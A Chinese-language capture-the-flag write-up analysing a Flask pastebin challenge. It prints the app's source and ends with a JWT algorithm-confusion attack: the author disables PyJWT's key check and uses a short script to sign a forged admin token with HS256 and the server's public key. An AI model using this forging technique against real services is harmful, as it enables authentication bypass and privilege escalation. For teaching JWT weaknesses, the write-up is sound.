題目連接https://github.com/wonderkun/CTF_web/tree/5b08d23ba4086992cbb9f3f4da89a6bb1346b305/web300-6php
參考連接 https://skysec.top/2018/05/19/2018CUMTCTF-Final-Web/#Pastebin?tdsourcetag=s_pctim_aiomsg
https://chybeta.github.io/2017/08/29/HITB-CTF-2017-Pasty-writeup/
http://www.cnblogs.com/dliv3/p/7450057.html
雖然看着表哥的思路把題目解出來了,但仍是雲裏霧裏的,拿到源碼分析一波把html
1 import os,time 2 from flask import Flask, render_template, request,jsonify 3 from flask_sqlalchemy import SQLAlchemy 4 import jwt 5 import string 6 from Crypto import Random 7 from Crypto.Hash import SHA 8 from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5 9 from Crypto.Signature import PKCS1_v1_5 as Signature_pkcs1_v1_5 10 from Crypto.PublicKey import RSA 11 import base64 12 import cgi 13 from urllib import quote 14 from urllib import unquote 15 import hashlib 16 import json 17 18 19 app = Flask(__name__) 20 app.secret_key = os.urandom(24) 21 app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/pastebin.db' 22 app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True 23 db = SQLAlchemy(app) 24 random_generator = Random.new().read 25 rsa = RSA.generate(1024, random_generator) 26 27 class User(db.Model): 28 __tablename__ = 'user' 29 id = db.Column(db.Integer, primary_key=True) 30 username = db.Column(db.Text) 31 password = db.Column(db.Text) 32 priv = db.Column(db.Text) 33 key = db.Column(db.Text) 34 token = db.Column(db.Text) 35 36 def __init__(self, username, password, priv, key, token): 37 self.username = username 38 self.password = password 39 self.priv = priv 40 self.key = key 41 self.token = token 42 43 def __repr__(self): 44 return '<User id:{}, username:{}, password:{}, priv:{}, key:{}, token:{}>'.format(self.id, self.username, self.password, self.priv, self.key, self.token) 45 46 class Link(db.Model): 47 __tablename__ = 'link' 48 id = db.Column(db.Integer, primary_key=True) 49 username = db.Column(db.Text) 50 link = db.Column(db.Text) 51 content = db.Column(db.Text) 52 53 def __init__(self, username, link, content): 54 self.username = username 55 self.link = link 56 self.content = content 57 58 def __repr__(self): 59 return '<Link id:{}, username:{}, link:{}, content:{}'.format(self.id, self.username, self.link, self.content) 60 61 def defense(input_str): 62 for c in input_str: 63 if c not in string.letters and c not in string.digits: 64 return False 65 return True 66 67 def getmd5(str): 68 m = hashlib.md5() 69 m.update(str) 70 return m.hexdigest() 71 72 def getname(str, value): 73 try: 74 tmp = str.split('.')[1] 75 while True: 76 if len(tmp)%4 == 0: 77 break 78 tmp = tmp + "=" 79 username = json.loads(base64.b64decode(tmp))['name'] 80 except: 81 return False 82 user = User.query.filter_by(username=username,).first() 83 if not user: 84 return False 85 key_name = user.key 86 with open('./pubkey/' + key_name + '.pem', 'r') as f: 87 secret = f.read() 88 # print(secret) 89 try: 90 de_user = jwt.decode(str, secret) 91 except Exception as e: 92 # print(e) 93 return False 94 # print(de_user) 95 name = de_user[value] 96 return name 97 98 99 @app.route("/") 100 def index(): 101 return render_template("index.html") 102 103 @app.route("/user") 104 def user(): 105 return render_template("user.html") 106 107 @app.route("/reg",methods=['POST']) 108 def reg(): 109 regname = request.form['regname'] 110 if regname == "admin": 111 return jsonify(result=False,) 112 regpass = request.form['regpass'] 113 if len(regname) < 5 or len(regname) > 20 or len(regpass) < 5 or len(regpass) > 20 or not defense(regname) or not defense(regpass) or User.query.filter_by(username=regname,).first(): 114 return jsonify(result=False,) 115 private_pem = rsa.exportKey() 116 public_pem = rsa.publickey().exportKey() 117 key_name = getmd5(regname + regpass) 118 with open('./key/' + key_name + '.pem', 'w') as f: 119 f.write(private_pem) 120 with open('./pubkey/' + key_name + '.pem', 'w') as f: 121 f.write(public_pem) 122 if regname == "admin": 123 priv = "admin" 124 else: 125 priv = "other" 126 token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256') 127 user = User(regname, regpass, priv, key_name, token) 128 db.session.add(user) 129 db.session.commit() 130 return jsonify(result=True,) 131 @app.route("/login",methods=['POST']) 132 def login(): 133 username = request.form['name'] 134 password = request.form['pass'] 135 if len(username) < 5 or len(username) > 20 or len(password) < 5 or len(password) > 20 or not defense(username) or not defense(password): 136 return jsonify(result=False,) 137 user = User.query.filter_by(username=username,password=password,).first() 138 if not user: 139 return jsonify(result=False,) 140 return jsonify(result=True,token=user.token,) 141 142 @app.route("/paste",methods=['POST']) 143 def paste(): 144 content = unquote(request.form['content']) 145 if len(content)>300: 146 return jsonify(result=False,) 147 try: 148 post_token = request.headers['Authorization'][7:] 149 except: 150 return jsonify(result=False,) 151 name = getname(post_token, "name") 152 if name == False: 153 return jsonify(result=False,) 154 if name == "admin": 155 return jsonify(result=False,) 156 link = getmd5(os.urandom(24)) 157 content = cgi.escape(content) 158 li = Link(name, link, content) 159 db.session.add(li) 160 db.session.commit() 161 return jsonify(result=True,link=name+":"+link) 162 163 @app.route("/list",methods=["GET"]) 164 def list(): 165 try: 166 post_token = request.headers['Authorization'][7:] 167 except: 168 return jsonify(result=False,) 169 name = getname(post_token, "name") 170 if name == False: 171 return jsonify(result=False,) 172 priv = getname(post_token, "priv") 173 if priv == False: 174 return jsonify(result=False,) 175 if priv == "other": 176 li = Link.query.filter_by(username=name,) 177 links = [] 178 for lin in li: 179 links.append(name + ":" + lin.link) 180 return jsonify(result=True,username=name,links=links) 181 if priv == "admin": 182 li = Link.query.filter_by() 183 links = [] 184 for lin in li: 185 links.append(lin.username + ":" + lin.link) 186 return jsonify(result=True,username="admin",links=links) 187 188 @app.route("/pubkey/<key>",methods=["GET"]) 189 def getkey(key): 190 try: 191 with open('./pubkey/' + key + '.pem', 'r') as f: 192 secret = f.read() 193 return jsonify(result=True,pubkey=secret,) 194 except: 195 return jsonify(result=False,) 196 197 @app.route("/text/<link>",methods=["GET"]) 198 def getcontent(link): 199 name = link.split(":")[0] 200 links = link.split(":")[1] 201 if defense(name) == False or defense(links) == False: 202 return jsonify(result=False,) 203 li = Link.query.filter_by(username=name,link=links,).first() 204 if not li: 205 return jsonify(result=False,) 206 return jsonify(result=True,content=li.content,) 207 208 209 app.run(debug=False,host='0.0.0.0')
是用flask寫的先看註冊的代碼git
1 @app.route("/reg",methods=['POST']) 2 def reg(): 3 regname = request.form['regname'] 4 if regname == "admin": 5 return jsonify(result=False,) 6 regpass = request.form['regpass'] 7 if len(regname) < 5 or len(regname) > 20 or len(regpass) < 5 or len(regpass) > 20 or not defense(regname) or not defense(regpass) or User.query.filter_by(username=regname,).first(): 8 return jsonify(result=False,) 9 private_pem = rsa.exportKey() 10 public_pem = rsa.publickey().exportKey() 11 key_name = getmd5(regname + regpass) 12 with open('./key/' + key_name + '.pem', 'w') as f: 13 f.write(private_pem) 14 with open('./pubkey/' + key_name + '.pem', 'w') as f: 15 f.write(public_pem) 16 if regname == "admin": 17 priv = "admin" 18 else: 19 priv = "other" 20 token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256') 21 user = User(regname, regpass, priv, key_name, token) 22 db.session.add(user) 23 db.session.commit() 24 return jsonify(result=True,)
首先是不容許註冊admin用戶 其次會判斷帳號密碼長度>5 且<20 而後會進入defen函數 github
def defense(input_str): for c in input_str: if c not in string.letters and c not in string.digits: return False return True
跟進去發現是要求參數必須是web
而後會生成rsa的公鑰私鑰算法
private_pem = rsa.exportKey()
public_pem = rsa.publickey().exportKey()
以後會把用戶的私鑰和公鑰存放在目錄中sql
key_name = getmd5(regname + regpass) with open('./key/' + key_name + '.pem', 'w') as f: f.write(private_pem) with open('./pubkey/' + key_name + '.pem', 'w') as f: f.write(public_pem)
命名格式爲數據庫
getmd5(regname + regpass)
以後是給普通用戶爲other權限編程
再以後生成tokenjson
token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256')
查閱資料以下
JWT簽名算法中,通常有兩個選擇,一個採用HS256,另一個就是採用RS256。 簽名其實是一個加密的過程,生成一段標識(也是JWT的一部分)做爲接收方驗證信息是否被篡改的依據。 RS256 (採用SHA-256 的 RSA 簽名) 是一種非對稱算法, 它使用公共/私鑰對: 標識提供方採用私鑰生成簽名, JWT 的使用方獲取公鑰以驗證簽名。因爲公鑰 (與私鑰相比) 不須要保護, 所以大多數標識提供方使其易於使用方獲取和使用 (一般經過一個元數據URL)。 另外一方面, HS256 (帶有 SHA-256 的 HMAC 是一種對稱算法, 雙方之間僅共享一個 密鑰。因爲使用相同的密鑰生成簽名和驗證簽名, 所以必須注意確保密鑰不被泄密。 在開發應用的時候啓用JWT,使用RS256更加安全,你能夠控制誰能使用什麼類型的密鑰。另外,若是你沒法控制客戶端,沒法作到密鑰的徹底保密,RS256會是個更佳的選擇,JWT的使用方只須要知道公鑰。 因爲公鑰一般能夠從元數據URL節點得到,所以能夠對客戶端進行進行編程以自動檢索公鑰。若是採用這種方式,從服務器上直接下載公鑰信息,能夠有效的減小配置信息。
RS256爲非對稱的算法
標識提供方採用私鑰生成簽名, JWT 的使用方獲取公鑰以驗證簽名。
加密後入庫保存 具體數據庫操做代碼就不追蹤了,註冊流程到這
接着看登錄的函數
@app.route("/login",methods=['POST']) def login(): username = request.form['name'] password = request.form['pass'] if len(username) < 5 or len(username) > 20 or len(password) < 5 or len(password) > 20 or not defense(username) or not defense(password): return jsonify(result=False,) user = User.query.filter_by(username=username,password=password,).first() if not user: return jsonify(result=False,) return jsonify(result=True,token=user.token,)
邏輯上差很少就是個登錄驗證,登錄成功後進入了主界面有兩個功能
一個是存儲的功能paste 另外一個是查看功能看看你存儲了哪些東西,先來看paste功能
@app.route("/paste",methods=['POST']) def paste(): content = unquote(request.form['content']) if len(content)>300: return jsonify(result=False,) try: post_token = request.headers['Authorization'][7:] except: return jsonify(result=False,) name = getname(post_token, "name") if name == False: return jsonify(result=False,) if name == "admin": return jsonify(result=False,) link = getmd5(os.urandom(24)) content = cgi.escape(content) li = Link(name, link, content) db.session.add(li) db.session.commit() return jsonify(result=True,link=name+":"+link)
接受傳進來的參數content 而且長度不能大於300 獲取http頭中的參數
post_token = request.headers['Authorization'][7:]
而後從Authorization解析出name變量來
name = getname(post_token, "name")
跟進getname函數
def getname(str, value): try: tmp = str.split('.')[1] while True: if len(tmp)%4 == 0: break tmp = tmp + "=" username = json.loads(base64.b64decode(tmp))['name'] except: return False user = User.query.filter_by(username=username,).first() if not user: return False key_name = user.key with open('./pubkey/' + key_name + '.pem', 'r') as f: secret = f.read() # print(secret) try: de_user = jwt.decode(str, secret) except Exception as e: # print(e) return False # print(de_user) name = de_user[value] return name
先用burpsuite抓包看看Authorzation是啥樣
Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdGVyIiwicHJpdiI6Im90aGVyIn0.FTnXqCb7drMUhsKChxDWIDdG6_KkC7bFORthEhQJh5JamKMeUB4aNGYgh_M0UTcZGcN_3I0ElsboDA4QglrLZVtllzXAYpunHWWH15BDtMaFk7aqwxqRzBCyWDM7vjErq3YvzYBnguwtF_uaTtKWN9DvNSyVk0eP-hae13JBdRY
這就是用jwt 以rs256加密後的
token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256')
有個解析的網站https://jwt.io/#debugger-io 扔進去看看

由3個部分組成的,由三個.分隔,分別是
header
payload
Sinature
每一部分都是base64編碼的。
一般由兩部分組成:令牌的類型,即JWT和正在使用的散列算法,如HMAC SHA256或RSA
{ "alg": "RS256", "typ": "JWT" }
alg爲算法的縮寫,typ爲類型的縮寫,而後,這個JSON被Base64編碼,造成JSON Web Token的第一部分。
令牌的第二部分是包含聲明的有效負載。聲明是關於實體(一般是用戶)和其餘元數據的聲明。 這裏是用戶隨意定義的數據 例如上面的舉例
{ "name": "tester", "priv": "other" }
要建立簽名部分,必須採用header,payload,密鑰。而後利用header中指定算法進行簽名,例如RS256(RSA SHA256),簽名的構成爲:
RSASHA256( base64UrlEncode(header) + "." +base64UrlEncode(payload), Public Key or Certificate. Enter it in plain text only if you want to verify a token , Private Key. Enter it in plain text only if you want to generate a new token. The key never leaves your browser. )
HS256(HMAC SHA256),簽名的構成爲:
HMACSHA256( base64Encode(header) + "." + base64Encode(payload), secret)
繼續看name函數
調試輸出一下試試
username爲當前用戶名
而後根據用戶名 進入數據庫查到對應的公鑰user.key並賦值給secret
user = User.query.filter_by(username=username,).first()
而後進入
de_user = jwt.decode(str, secret)
這裏的str是剛纔jwt.decode用私鑰 以rs256的方式加密的,而後將公鑰secret給他解密後 給de_user返回value
將內容打印出來
取所須要的value返回
走回paste函數往下走 這個相似php中轉義xss的那個函數htmlbalbalba
cgi.escape(txt) #
這樣paste函數就完事了
以後進入list函數
@app.route("/list",methods=["GET"]) def list(): try: post_token = request.headers['Authorization'][7:] except: return jsonify(result=False,) name = getname(post_token, "name") if name == False: return jsonify(result=False,) priv = getname(post_token, "priv") if priv == False: return jsonify(result=False,) if priv == "other": li = Link.query.filter_by(username=name,) links = [] for lin in li: links.append(name + ":" + lin.link) return jsonify(result=True,username=name,links=links) if priv == "admin": li = Link.query.filter_by() links = [] for lin in li: links.append(lin.username + ":" + lin.link) return jsonify(result=True,username="admin",links=links)
首先經過獲取到想要的值
name = getname(post_token, "name") priv = getname(post_token, "priv")
接下來判斷若是name的權限是other就返回該name的paste內容 是admin 就返回全部的paste內容
代碼通讀完了 大致功能也瞭解了 雖然不知道具體細節 但大致思路仍是清楚的大概就是驗證身份的時候存在問題
這實際上是一個算法篡改攻擊,由於服務器利用的RS256算法,用的是私鑰進行簽名,公鑰進行驗證的,(https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/)
查看js /static/js/common.js
function getpubkey(){ /* get the pubkey for test /pubkey/{md5(username+password)} */ }
能夠經過這裏找到本身私鑰
{"pubkey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvXqtl0+ilz1cyajoUq/zzxYj\nZQtPA5WxUx1/vrZ7vhWcOg/3AwI1WN7xfHFC2UFVOtPeg3OmYRUO0Q9uM2OaNPNA\nWAGO5ZDOg3KARpj5ZdKLBM+GXD0KZEv+a/C+NbTHyE7EeDbLnWi0b5ROiMZ0sf0d\nmP1N6WZfm1RULtH4EQIDAQAB\n-----END PUBLIC KEY-----","result":true}
規範下格式
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvXqtl0+ilz1cyajoUq/zzxYj\nZQtPA5WxUx1/vrZ7vhWcOg/3AwI1WN7xfHFC2UFVOtPeg3OmYRUO0Q9uM2OaNPNA\nWAGO5ZDOg3KARpj5ZdKLBM+GXD0KZEv+a/C+NbTHyE7EeDbLnWi0b5ROiMZ0sf0d\nmP1N6WZfm1RULtH4EQIDAQAB -----END PUBLIC KEY-----
咱們能夠獲取到本身的public key。JWT的header部分中,有簽名算法標識alg,而alg是用於簽名算法的選擇,最後保證用戶的數據不被篡改。可是在數據處理不正確的狀況下,可能存在alg的惡意篡改。咱們能夠僞造算法爲hs256,而後利用咱們的獲取的public key,來簽名僞造的數據,繞過驗證。PyJWT庫中對這種攻擊作了預防,不容許hs256的密鑰中出現下面這些字符,具體見algorithms.py:151
直接註釋掉
def prepare_key(self, key): key = force_bytes(key) return key
import jwt public = open("1.txt",'r').read() print jwt.encode({"name":"aoligei","priv":"admin"},key=public,algorithm='HS256')
生成的字符串替換掉對應的Authortion
list的時候再次進入get_name函數的時候
key_name = user.key with open('./pubkey/' + key_name + '.pem', 'r') as f: secret = f.read()
從數據庫取出來的secret 和用經過pubkey目錄的公鑰是同樣的 由於HS256是對稱的因此直接解密便可 僞造一個admin權限繞過if